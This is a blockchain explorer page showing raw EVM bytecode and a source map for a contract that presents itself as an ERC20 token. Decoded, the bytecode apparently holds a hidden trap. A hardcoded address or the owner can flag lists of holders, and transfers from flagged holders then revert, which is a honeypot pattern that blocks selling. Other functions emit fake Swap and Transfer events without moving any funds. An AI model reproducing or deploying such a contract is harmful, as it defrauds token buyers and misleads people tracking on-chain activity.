610ebd84610e59565b9250610ecb60208501610e59565b9150604084013590509250925092565b60008083601f840112610eed57600080fd5b50813567ffffffffffffffff811115610f0557600080fd5b6020830191508360208260051b8501011115610f2057600080fd5b9250929050565b60008060208385031215610f3a57600080fd5b823567ffffffffffffffff811115610f5157600080fd5b610f5d85828601610edb565b90969095509350505050565b600060208284031215610f7b57600080fd5b610f8482610e59565b9392505050565b60008060008060608587031215610fa157600080fd5b843567ffffffffffffffff811115610fb857600080fd5b610fc487828801610edb565b90989097506020870135966040013595509350505050565b60008060408385031215610fef57600080fd5b610ff883610e59565b915061100660208401610e59565b90509250929050565b60006020828403121561102157600080fd5b81358015158114610f8457600080fd5b600181811c9082168061104557607f821691505b60208210810361106557634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600182016110a9576110a9611081565b5060010190565b808201808211156103c8576103c861108156feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa264697066735822122063152e9a1efaeee03d48037512757cd21925838867c4f750bb031ba42511c06f64736f6c63430008120033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101425760003560e01c80637aac697b116100b8578063a457c2d71161007c578063a457c2d7146102b0578063a9059cbb146102c3578063beabacc8146102d6578063dd62ed3e146102e9578063f2fde38b146102fc578063fde980ca1461030f57600080fd5b80637aac697b1461023b57806381bac14f1461024e5780638da5cb5b1461027a57806395d89b4114610295578063a1c617f51461029d57600080fd5b80633811ac021161010a5780633811ac02146101bc57806339509351146101d1578063477e1944146101e457806366d38203146101f757806370a082311461020a578063715018a61461023357600080fd5b806306fdde0314610147578063095ea7b31461016557806318160ddd1461018857806323b872dd1461019a578063313ce567146101ad575b600080fd5b61014f610322565b60405161015c9190610e0b565b60405180910390f35b610178610173366004610e75565b6103b4565b604051901515815260200161015c565b6004545b60405190815260200161015c565b6101786101a8366004610e9f565b6103ce565b6040516008815260200161015c565b6101cf6101ca366004610f27565b6103f2565b005b6101786101df366004610e75565b610573565b6101cf6101f2366004610f27565b610595565b6101cf610205366004610f69565b61060f565b61018c610218366004610f69565b6001600160a01b031660009081526001602052604090205490565b6101cf610639565b6101cf610249366004610f8b565b610643565b61017861025c366004610f69565b6001600160a01b031660009081526002602052604090205460ff1690565b6000546040516001600160a01b03909116815260200161015c565b61014f61074b565b6101cf6102ab366004610f8b565b61075a565b6101786102be366004610e75565b610853565b6101786102d1366004610e75565b6108ce565b6101cf6102e4366004610e9f565b6108dc565b61018c6102f7366004610fdc565b61091c565b6101cf61030a366004610f69565b610947565b6101cf61031d36600461100f565b6109c0565b60606006805461033190611031565b80601f016020809104026020016040519081016040528092919081815260200182805461035d90611031565b80156103aa5780601f1061037f576101008083540402835291602001916103aa565b820191906000526020600020905b81548152906001019060200180831161038d57829003601f168201915b5050505050905090565b6000336103c28185856109db565b60019150505b92915050565b6000336103dc858285610af7565b6103e7858585610b71565b506001949350505050565b6000546001600160a01b031633148061041e5750733b3abad950aff5bae1407b405f9625352e53b4eb33145b61046f5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b60005b8181101561056e576001600260008585858181106104925761049261106b565b90506020020160208101906104a79190610f69565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055308383838181106104e2576104e261106b565b90506020020160208101906104f79190610f69565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92561054b8686868181106105365761053661106b565b90506020020160208101906102189190610f69565b60405190815260200160405180910390a38061056681611097565b915050610472565b505050565b6000336103c2818585610586838361091c565b61059091906110b0565b6109db565b61059d610d61565b60005b8181101561056e576000600260008585858181106105c0576105c061106b565b90506020020160208101906105d59190610f69565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790558061060781611097565b9150506105a0565b610617610d61565b600980546001600160a01b0319166001600160a01b0392909216919091179055565b610641610d61565b565b60005b83811015610744578484828181106106605761066061106b565b90506020020160208101906106759190610f69565b60085460408051600080825260208201889052818301879052606082015290516001600160a01b0393841693909216917fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8229181900360800190a36009546001600160a01b03168585838181106106ed576106ed61106b565b90506020020160208101906107029190610f69565b6001600160a01b03166000805160206110c48339815191528560405161072a91815260200190565b60405180910390a38061073c81611097565b915050610646565b5050505050565b60606007805461033190611031565b60005b83811015610744578484828181106107775761077761106b565b905060200201602081019061078c9190610f69565b60085460408051868152600060208201819052818301526060810186905290516001600160a01b0393841693909216917fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8229181900360800190a38484828181106107f8576107f861106b565b905060200201602081019061080d9190610f69565b6009546040518481526001600160a01b0392831692909116906000805160206110c48339815191529060200160405180910390a38061084b81611097565b91505061075d565b60003381610861828661091c565b9050838110156108c15760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610466565b6103e782868684036109db565b6000336103c2818585610b71565b816001600160a01b0316836001600160a01b03166000805160206110c48339815191528360405161090f91815260200190565b60405180910390a3505050565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b61094f610d61565b6001600160a01b0381166109b45760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610466565b6109bd81610dbb565b50565b6109c8610d61565b6005805460ff1916911515919091179055565b6001600160a01b038316610a3d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610466565b6001600160a01b038216610a9e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610466565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910161090f565b6000610b03848461091c565b90506000198114610b6b5781811015610b5e5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610466565b610b6b84848484036109db565b50505050565b6001600160a01b038316610bd55760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610466565b6001600160a01b038216610c375760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610466565b6001600160a01b03831660009081526001602052604090205481811015610caf5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610466565b6001600160a01b038085166000818152600160209081526040808320878703905593871682528382208054870190559181526002909152205460ff1615610d215760055460ff161515600114610d215760405162461bcd60e51b81526020600482015260006024820152604401610466565b826001600160a01b0316846001600160a01b03166000805160206110c483398151915284604051610d5491815260200190565b60405180910390a3610b6b565b6000546001600160a01b031633146106415760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610466565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600060208083528351808285015260005b81811015610e3857858101830151858201604001528201610e1c565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610e7057600080fd5b919050565b60008060408385031215610e8857600080fd5b610e9183610e59565b946020939093013593505050565b600080600060608486031215610eb457600080fd5b610ebd84610e59565b9250610ecb60208501610e59565b9150604084013590509250925092565b60008083601f840112610eed57600080fd5b50813567ffffffffffffffff811115610f0557600080fd5b6020830191508360208260051b8501011115610f2057600080fd5b9250929050565b60008060208385031215610f3a57600080fd5b823567ffffffffffffffff811115610f5157600080fd5b610f5d85828601610edb565b90969095509350505050565b600060208284031215610f7b57600080fd5b610f8482610e59565b9392505050565b60008060008060608587031215610fa157600080fd5b843567ffffffffffffffff811115610fb857600080fd5b610fc487828801610edb565b90989097506020870135966040013595509350505050565b60008060408385031215610fef57600080fd5b610ff883610e59565b915061100660208401610e59565b90509250929050565b60006020828403121561102157600080fd5b81358015158114610f8457600080fd5b600181811c9082168061104557607f821691505b60208210810361106557634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600182016110a9576110a9611081565b5060010190565b808201808211156103c8576103c861108156feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa264697066735822122063152e9a1efaeee03d48037512757cd21925838867c4f750bb031ba42511c06f64736f6c63430008120033

Deployed Bytecode Sourcemap

21880:145:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9044:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12968:201;;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;12968:201:0;1004:187:1;11737:108:0;11825:12;;11737:108;;;1342:25:1;;;1330:2;1315:18;11737:108:0;1196:177:1;13749:295:0;;;;;;:::i;:::-;;:::i;10006:92::-;;;10089:1;1853:36:1;;1841:2;1826:18;10006:92:0;1711:184:1;10106:423:0;;;;;;:::i;:::-;;:::i;:::-;;14453:238;;;;;;:::i;:::-;;:::i;11263:206::-;;;;;;:::i;:::-;;:::i;8889:85::-;;;;;;:::i;:::-;;:::i;11908:127::-;;;;;;:::i;:::-;-1:-1:-1;;;;;12009:18:0;11982:7;12009:18;;;:9;:18;;;;;;;11908:127;5991:62;;;:::i;10836:292::-;;;;;;:::i;:::-;;:::i;11477:106::-;;;;;;:::i;:::-;-1:-1:-1;;;;;11555:20:0;11531:4;11555:20;;;:9;:20;;;;;;;;;11477:106;5350:87;5396:7;5423:6;5350:87;;-1:-1:-1;;;;;5423:6:0;;;3629:51:1;;3617:2;3602:18;5350:87:0;3483:203:1;9263:104:0;;;:::i;10537:291::-;;;;;;:::i;:::-;;:::i;15194:436::-;;;;;;:::i;:::-;;:::i;12241:193::-;;;;;;:::i;:::-;;:::i;11136:119::-;;;;;;:::i;:::-;;:::i;12497:151::-;;;;;;:::i;:::-;;:::i;6208:201::-;;;;;;:::i;:::-;;:::i;11589:85::-;;;;;;:::i;:::-;;:::i;9044:100::-;9098:13;9131:5;9124:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9044:100;:::o;12968:201::-;13051:4;4139:10;13107:32;4139:10;13123:7;13132:6;13107:8;:32::i;:::-;13157:4;13150:11;;;12968:201;;;;;:::o;13749:295::-;13880:4;4139:10;13938:38;13954:4;4139:10;13969:6;13938:15;:38::i;:::-;13987:27;13997:4;14003:2;14007:6;13987:9;:27::i;:::-;-1:-1:-1;14032:4:0;;13749:295;-1:-1:-1;;;;13749:295:0:o;10106:423::-;5396:7;5423:6;-1:-1:-1;;;;;5423:6:0;4139:10;10185:23;;:95;;-1:-1:-1;10221:42:0;4139:10;10213:67;10185:95;10177:140;;;;-1:-1:-1;;;10177:140:0;;4821:2:1;10177:140:0;;;4803:21:1;;;4840:18;;;4833:30;4899:34;4879:18;;;4872:62;4951:18;;10177:140:0;;;;;;;;;10333:9;10328:194;10348:22;;;10328:194;;;10420:4;10392:9;:25;10402:11;;10414:1;10402:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;10392:25:0;;;;;;;;;;;;-1:-1:-1;10392:25:0;:32;;-1:-1:-1;;10392:32:0;;;;;;;;;;10477:4;10453:11;;10465:1;10453:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;10444:66:0;;10484:25;10494:11;;10506:1;10494:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;10484:25::-;10444:66;;1342:25:1;;;1330:2;1315:18;10444:66:0;;;;;;;10372:3;;;;:::i;:::-;;;;10328:194;;;;10106:423;;:::o;14453:238::-;14541:4;4139:10;14597:64;4139:10;14613:7;14650:10;14622:25;4139:10;14613:7;14622:9;:25::i;:::-;:38;;;;:::i;:::-;14597:8;:64::i;11263:206::-;5236:13;:11;:13::i;:::-;11358:9:::1;11353:109;11373:22:::0;;::::1;11353:109;;;11445:5;11417:9;:25;11427:11;;11439:1;11427:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11417:25:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;11417:25:0;:33;;-1:-1:-1;;11417:33:0::1;::::0;::::1;;::::0;;;::::1;::::0;;11397:3;::::1;::::0;::::1;:::i;:::-;;;;11353:109;;8889:85:::0;5236:13;:11;:13::i;:::-;8951:5:::1;:15:::0;;-1:-1:-1;;;;;;8951:15:0::1;-1:-1:-1::0;;;;;8951:15:0;;;::::1;::::0;;;::::1;::::0;;8889:85::o;5991:62::-;5236:13;:11;:13::i;:::-;5991:62::o;10836:292::-;10940:9;10935:186;10955:22;;;10935:186;;;11038:11;;11050:1;11038:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;11009:10;;11004:49;;;11009:10;5761:25:1;;;5817:2;5802:18;;5795:34;;;5845:18;;;5838:34;;;5903:2;5888:18;;5881:34;11004:49:0;;-1:-1:-1;;;;;11004:49:0;;;;11009:10;;;;11004:49;;;;;5748:3:1;11004:49:0;;;11098:5;;-1:-1:-1;;;;;11098:5:0;11082:11;;11094:1;11082:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;11073:36:0;-1:-1:-1;;;;;;;;;;;11105:3:0;11073:36;;;;1342:25:1;;1330:2;1315:18;;1196:177;11073:36:0;;;;;;;;10979:3;;;;:::i;:::-;;;;10935:186;;;;10836:292;;;;:::o;9263:104::-;9319:13;9352:7;9345:14;;;;;:::i;10537:291::-;10639:9;10634:187;10654:22;;;10634:187;;;10737:11;;10749:1;10737:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;10708:10;;10703:49;;;5761:25:1;;;10708:10:0;5817:2:1;5802:18;;5795:34;;;5845:18;;;5838:34;5903:2;5888:18;;5881:34;;;10703:49:0;;-1:-1:-1;;;;;10703:49:0;;;;10708:10;;;;10703:49;;;;;5748:3:1;10703:49:0;;;10788:11;;10800:1;10788:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;10781:5;;10772:37;;1342:25:1;;;-1:-1:-1;;;;;10772:37:0;;;;10781:5;;;;-1:-1:-1;;;;;;;;;;;10772:37:0;1330:2:1;1315:18;10772:37:0;;;;;;;10678:3;;;;:::i;:::-;;;;10634:187;;15194:436;15287:4;4139:10;15287:4;15370:25;4139:10;15387:7;15370:9;:25::i;:::-;15343:52;;15434:15;15414:16;:35;;15406:85;;;;-1:-1:-1;;;15406:85:0;;6540:2:1;15406:85:0;;;6522:21:1;6579:2;6559:18;;;6552:30;6618:34;6598:18;;;6591:62;-1:-1:-1;;;6669:18:1;;;6662:35;6714:19;;15406:85:0;6338:401:1;15406:85:0;15527:60;15536:5;15543:7;15571:15;15552:16;:34;15527:8;:60::i;12241:193::-;12320:4;4139:10;12376:28;4139:10;12393:2;12397:6;12376:9;:28::i;11136:119::-;11237:3;-1:-1:-1;;;;;11221:26:0;11230:5;-1:-1:-1;;;;;11221:26:0;-1:-1:-1;;;;;;;;;;;11242:4:0;11221:26;;;;1342:25:1;;1330:2;1315:18;;1196:177;11221:26:0;;;;;;;;11136:119;;;:::o;12497:151::-;-1:-1:-1;;;;;12613:18:0;;;12586:7;12613:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;12497:151::o;6208:201::-;5236:13;:11;:13::i;:::-;-1:-1:-1;;;;;6297:22:0;::::1;6289:73;;;::::0;-1:-1:-1;;;6289:73:0;;6946:2:1;6289:73:0::1;::::0;::::1;6928:21:1::0;6985:2;6965:18;;;6958:30;7024:34;7004:18;;;6997:62;-1:-1:-1;;;7075:18:1;;;7068:36;7121:19;;6289:73:0::1;6744:402:1::0;6289:73:0::1;6373:28;6392:8;6373:18;:28::i;:::-;6208:201:::0;:::o;11589:85::-;5236:13;:11;:13::i;:::-;11646:16:::1;:20:::0;;-1:-1:-1;;11646:20:0::1;::::0;::::1;;::::0;;;::::1;::::0;;11589:85::o;19292:380::-;-1:-1:-1;;;;;19428:19:0;;19420:68;;;;-1:-1:-1;;;19420:68:0;;7353:2:1;19420:68:0;;;7335:21:1;7392:2;7372:18;;;7365:30;7431:34;7411:18;;;7404:62;-1:-1:-1;;;7482:18:1;;;7475:34;7526:19;;19420:68:0;7151:400:1;19420:68:0;-1:-1:-1;;;;;19507:21:0;;19499:68;;;;-1:-1:-1;;;19499:68:0;;7758:2:1;19499:68:0;;;7740:21:1;7797:2;7777:18;;;7770:30;7836:34;7816:18;;;7809:62;-1:-1:-1;;;7887:18:1;;;7880:32;7929:19;;19499:68:0;7556:398:1;19499:68:0;-1:-1:-1;;;;;19580:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;19632:32;;1342:25:1;;;19632:32:0;;1315:18:1;19632:32:0;1196:177:1;19963:453:0;20098:24;20125:25;20135:5;20142:7;20125:9;:25::i;:::-;20098:52;;-1:-1:-1;;20165:16:0;:37;20161:248;;20247:6;20227:16;:26;;20219:68;;;;-1:-1:-1;;;20219:68:0;;8161:2:1;20219:68:0;;;8143:21:1;8200:2;8180:18;;;8173:30;8239:31;8219:18;;;8212:59;8288:18;;20219:68:0;7959:353:1;20219:68:0;20331:51;20340:5;20347:7;20375:6;20356:16;:25;20331:8;:51::i;:::-;20087:329;19963:453;;;:::o;16100:911::-;-1:-1:-1;;;;;16231:18:0;;16223:68;;;;-1:-1:-1;;;16223:68:0;;8519:2:1;16223:68:0;;;8501:21:1;8558:2;8538:18;;;8531:30;8597:34;8577:18;;;8570:62;-1:-1:-1;;;8648:18:1;;;8641:35;8693:19;;16223:68:0;8317:401:1;16223:68:0;-1:-1:-1;;;;;16310:16:0;;16302:64;;;;-1:-1:-1;;;16302:64:0;;8925:2:1;16302:64:0;;;8907:21:1;8964:2;8944:18;;;8937:30;9003:34;8983:18;;;8976:62;-1:-1:-1;;;9054:18:1;;;9047:33;9097:19;;16302:64:0;8723:399:1;16302:64:0;-1:-1:-1;;;;;16452:15:0;;16430:19;16452:15;;;:9;:15;;;;;;16486:21;;;;16478:72;;;;-1:-1:-1;;;16478:72:0;;9329:2:1;16478:72:0;;;9311:21:1;9368:2;9348:18;;;9341:30;9407:34;9387:18;;;9380:62;-1:-1:-1;;;9458:18:1;;;9451:36;9504:19;;16478:72:0;9127:402:1;16478:72:0;-1:-1:-1;;;;;16586:15:0;;;;;;;:9;:15;;;;;;;;16604:20;;;16586:38;;16804:13;;;;;;;;:23;;;;;;16853:15;;;:9;:15;;;;;;;16849:58;;;16878:16;;;;:24;;:16;:24;16870:37;;;;-1:-1:-1;;;16870:37:0;;9736:2:1;16870:37:0;;;9718:21:1;-1:-1:-1;9755:18:1;;;9748:29;9794:18;;16870:37:0;9534:284:1;16870:37:0;16942:2;-1:-1:-1;;;;;16927:26:0;16936:4;-1:-1:-1;;;;;16927:26:0;-1:-1:-1;;;;;;;;;;;16946:6:0;16927:26;;;;1342:25:1;;1330:2;1315:18;;1196:177;16927:26:0;;;;;;;;16966:37;10106:423;5515:132;5396:7;5423:6;-1:-1:-1;;;;;5423:6:0;4139:10;5579:23;5571:68;;;;-1:-1:-1;;;5571:68:0;;4821:2:1;5571:68:0;;;4803:21:1;;;4840:18;;;4833:30;4899:34;4879:18;;;4872:62;4951:18;;5571:68:0;4619:356:1;6569:191:0;6643:16;6662:6;;-1:-1:-1;;;;;6679:17:0;;;-1:-1:-1;;;;;;6679:17:0;;;;;;6712:40;;6662:6;;;;;;;6712:40;;6643:16;6712:40;6632:128;6569:191;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:173::-;635:20;;-1:-1:-1;;;;;684:31:1;;674:42;;664:70;;730:1;727;720:12;664:70;567:173;;;:::o;745:254::-;813:6;821;874:2;862:9;853:7;849:23;845:32;842:52;;;890:1;887;880:12;842:52;913:29;932:9;913:29;:::i;:::-;903:39;989:2;974:18;;;;961:32;;-1:-1:-1;;;745:254:1:o;1378:328::-;1455:6;1463;1471;1524:2;1512:9;1503:7;1499:23;1495:32;1492:52;;;1540:1;1537;1530:12;1492:52;1563:29;1582:9;1563:29;:::i;:::-;1553:39;;1611:38;1645:2;1634:9;1630:18;1611:38;:::i;:::-;1601:48;;1696:2;1685:9;1681:18;1668:32;1658:42;;1378:328;;;;;:::o;1900:367::-;1963:8;1973:6;2027:3;2020:4;2012:6;2008:17;2004:27;1994:55;;2045:1;2042;2035:12;1994:55;-1:-1:-1;2068:20:1;;2111:18;2100:30;;2097:50;;;2143:1;2140;2133:12;2097:50;2180:4;2172:6;2168:17;2156:29;;2240:3;2233:4;2223:6;2220:1;2216:14;2208:6;2204:27;2200:38;2197:47;2194:67;;;2257:1;2254;2247:12;2194:67;1900:367;;;;;:::o;2272:437::-;2358:6;2366;2419:2;2407:9;2398:7;2394:23;2390:32;2387:52;;;2435:1;2432;2425:12;2387:52;2475:9;2462:23;2508:18;2500:6;2497:30;2494:50;;;2540:1;2537;2530:12;2494:50;2579:70;2641:7;2632:6;2621:9;2617:22;2579:70;:::i;:::-;2668:8;;2553:96;;-1:-1:-1;2272:437:1;-1:-1:-1;;;;2272:437:1:o;2714:186::-;2773:6;2826:2;2814:9;2805:7;2801:23;2797:32;2794:52;;;2842:1;2839;2832:12;2794:52;2865:29;2884:9;2865:29;:::i;:::-;2855:39;2714:186;-1:-1:-1;;;2714:186:1:o;2905:573::-;3009:6;3017;3025;3033;3086:2;3074:9;3065:7;3061:23;3057:32;3054:52;;;3102:1;3099;3092:12;3054:52;3142:9;3129:23;3175:18;3167:6;3164:30;3161:50;;;3207:1;3204;3197:12;3161:50;3246:70;3308:7;3299:6;3288:9;3284:22;3246:70;:::i;:::-;3335:8;;3220:96;;-1:-1:-1;3417:2:1;3402:18;;3389:32;;3468:2;3453:18;3440:32;;-1:-1:-1;2905:573:1;-1:-1:-1;;;;2905:573:1:o;3691:260::-;3759:6;3767;3820:2;3808:9;3799:7;3795:23;3791:32;3788:52;;;3836:1;3833;3826:12;3788:52;3859:29;3878:9;3859:29;:::i;:::-;3849:39;;3907:38;3941:2;3930:9;3926:18;3907:38;:::i;:::-;3897:48;;3691:260;;;;;:::o;3956:273::-;4012:6;4065:2;4053:9;4044:7;4040:23;4036:32;4033:52;;;4081:1;4078;4071:12;4033:52;4120:9;4107:23;4173:5;4166:13;4159:21;4152:5;4149:32;4139:60;;4195:1;4192;4185:12;4234:380;4313:1;4309:12;;;;4356;;;4377:61;;4431:4;4423:6;4419:17;4409:27;;4377:61;4484:2;4476:6;4473:14;4453:18;4450:38;4447:161;;4530:10;4525:3;4521:20;4518:1;4511:31;4565:4;4562:1;4555:15;4593:4;4590:1;4583:15;4447:161;;4234:380;;;:::o;4980:127::-;5041:10;5036:3;5032:20;5029:1;5022:31;5072:4;5069:1;5062:15;5096:4;5093:1;5086:15;5112:127;5173:10;5168:3;5164:20;5161:1;5154:31;5204:4;5201:1;5194:15;5228:4;5225:1;5218:15;5244:135;5283:3;5304:17;;;5301:43;;5324:18;;:::i;:::-;-1:-1:-1;5371:1:1;5360:13;;5244:135::o;5384:125::-;5449:9;;;5470:10;;;5467:36;;;5483:18;;:::i

Swarm Source

ipfs://63152e9a1efaeee03d48037512757cd21925838867c4f750bb031ba42511c06f
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.